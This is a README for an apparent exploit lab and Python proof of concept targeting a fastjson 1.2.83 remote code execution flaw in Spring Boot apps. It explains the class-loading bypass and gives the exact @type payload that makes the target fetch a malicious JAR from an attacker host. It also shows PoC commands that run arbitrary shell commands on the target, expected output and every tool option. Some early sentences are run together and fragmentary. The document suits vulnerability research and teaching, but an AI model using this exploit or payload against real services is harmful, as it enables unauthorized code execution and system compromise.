
Runnable Spring Boot + fastjson 1.2.83 RCE reproduction lab with a Python PoC that generates and hosts a malicious JAR and delivers the @type payload.
This is a runnable minimal reproduction environment: Spring Boot 2.7.18 executable fat-jar + fastjson 1.2.83, paired with a pure Python PoC that generates a malicious class with a jar: URL as its class name, hosts the JAR, prints the @type payload, and sends it automatically.
Authorized testing only: This project executes arbitrary commands and serves a malicious JAR externally. Use it only for local experiments, CTFs, teaching, or explicitly authorized security testing. Do not use it against unauthorized systems. Stop the application and PoC service immediately after testing is complete.
1.2.68 <= fastjson <= 1.2.83; fixed in 1.2.84.java -jar xxx.jar), and the parsing thread can use Boot's LaunchedURLClassLoader. AutoType and SafeMode remain disabled by default.ParserConfig#checkAutoType still concatenates the attacker-controlled @type into a resource path and calls getResourceAsStream to probe it; as long as a remote class carries @JSONType, it is treated as a trusted type and loadClass continues.TypeUtils#loadClass defines a class name in the form jar:http://... through the Boot classloader; EnumDeserializer calls getEnumConstants() during construction, executing the malicious enum's <clinit>, ultimately executing arbitrary commands with the application process's privileges.<workspace>/
├── CVE-2026-16723-fastjson1.2.83/ # 漏洞环境(本目录)
│ ├── README.md # 本文件
│ ├── .gitignore # 忽略构建/运行产物
│ ├── pom.xml # 聚合 POM(仅 vuln-app)
│ ├── vuln-app/ # Spring Boot 2.7.18 + fastjson 1.2.83
└── CVE-2026-16723-fastjson1.2.83-poc/
├── .gitignore # 忽略 Python/PoC 产物
└── poc.py # 纯 Python PoC,仅标准库
| Item | Requirement |
|---|---|
| JDK | 8 (verified; launch the fat-jar with java -jar) |
| Maven | 3.6+ (3.9 verified) |
| Python | 3.8+ (3.11 verified, standard library only) |
| OS | Windows or Linux; PoC defaults to cmd, add --shell sh for Linux targets |
| Ports | 8090 application, 19090 PoC HTTP service, 5005 JDWP |
| Network | The target must be able to reach --host:--port; use 127.0.0.1 for local reproduction |
Tested environment for this README: Windows 10 x64, Oracle JDK 1.8.0_503, Apache Maven 3.9.16, Python 3.11. For Linux targets, use --shell sh.
It is recommended to run in an isolated virtual machine or test host. Higher JDK versions, running the main class directly in an IDE, or mvn spring-boot:run may change class loading behavior and cause the payload to fail.
Run the following in the vulnerable environment directory:
mvn -DskipTests clean package
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar vuln-app\target\fastjson-demo.jar
When remote debugging is not needed, remove the -agentlib:jdwp=... parameter:
You must start this fat-jar with
java -jar. Running the main class directly in the IDE or usingspring-boot:runtypically usesAppClassLoader, which may be unable to define class names in the form ofjar:URLs, resulting in only seeing remote probing and not seeing<clinit>execution.
Open another terminal:
curl.exe -s http://127.0.0.1:8090/api/info
The response should contain at least:
{
"fastjson_version": "1.2.83",
"auto_type_support": false,
"safe_mode": false,
"fastjson_location": "jar:file:/.../fastjson-demo.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/"
}
Enter the PoC directory at the same level:
cd ..\CVE-2026-16723-fastjson1.2.83-poc
python poc.py --host 127.0.0.1 --command "whoami > poc_result.txt" --target http://127.0.0.1:8090/api/parse-boot-loader
--host is the attacker IP reachable by the target (the address hosting the malicious class). For local reproduction, use 127.0.0.1; for a remote target, you must use an address the target can reach. A dotted IPv4 address is automatically converted to decimal and written into the jar: URL. When --target is omitted, the PoC only prints the payload and keeps hosting it, which is suitable for manual sending.
You must use
/api/parse-boot-loader(or/api/login-boot-loader) as the entry point. It sets the parsing thread's TCCL to Boot'sLaunchedURLClassLoader; the stock Tomcat request thread's/api/parseusually only triggers remote probing and does not define the URL class name, so<clinit>will not execute. This is not because the vulnerability does not exist, but because of the class loader precondition of this reproduction.
The PoC output is similar to:
[*] attacker host : 127.0.0.1 -> 2130706433
[*] class : jar:http://2130706433:19090/poc7f5be8!/Poc1a2b3c4d
[*] payload : {"@type":"jar:http:..2130706433:19090.poc7f5be8!.Poc1a2b3c4d"}
[*] command : whoami > poc_result.txt (cmd.exe /c)
[*] serving : http://2130706433:19090/poc7f5be8 (entry Poc1a2b3c4d.class)
[*] POST : http://127.0.0.1:8090/api/parse-boot-loader
[*] response : 500 {"error":"com.alibaba.fastjson.JSONException","message":"create instance error",...}
[*] success marks : target log 'POC_EXECUTED:Poc1a2b3c4d', command effect, server GET /poc7f5be8
At the same time, it should be noted:
GET /poc<hex> (at least 1 time, commonly 2 times);create instance error. This is the expected error caused by the enum having no no-argument constructor after <clinit> has executed, and does not mean the exploit failed;whoami should be seen in poc_result.txt.| Parameter | Description |
|---|---|
--host | IP/hostname hosting the malicious class (default 127.0.0.1); dotted IPv4 is automatically converted to decimal; hostname must not contain . |
--port | PoC HTTP service port (default 19090) |
--bind | HTTP bind address (default 0.0.0.0) |
--command / -c | Required, the command to execute on the target |
--shell | cmd (cmd.exe /c, default) or sh (/bin/sh -c) |
--target | Optional, the full URL to automatically POST to, e.g. http://127.0.0.1:8090/api/parse-boot-loader |
--body | Optional, request body template; {{payload}} will be replaced with the generated JSON payload |
--path | Optional, JAR URL path; defaults to a random /poc<hex>, must not contain . or ! |
--class-name | Optional, class name; defaults to a random Poc<hex>, must be a valid Java identifier |
--timeout | Target HTTP timeout in seconds (default 20) |
--serve-after | Number of seconds to continue hosting after automatic sending (default 5) |
--save | Save the generated .class and poc.jar to the specified directory |
默认随机 path/class 是为了避开 fastjson 的 TypeUtils.mappings 类缓存、JDK 的 jar: 缓存,以及 <clinit> 只执行一次的问题。复用同一组 path/class 时,请重启目标应用或换一组值。
When --target is not passed, the PoC only generates and hosts the malicious class:
python poc.py --host 127.0.0.1 --command "whoami"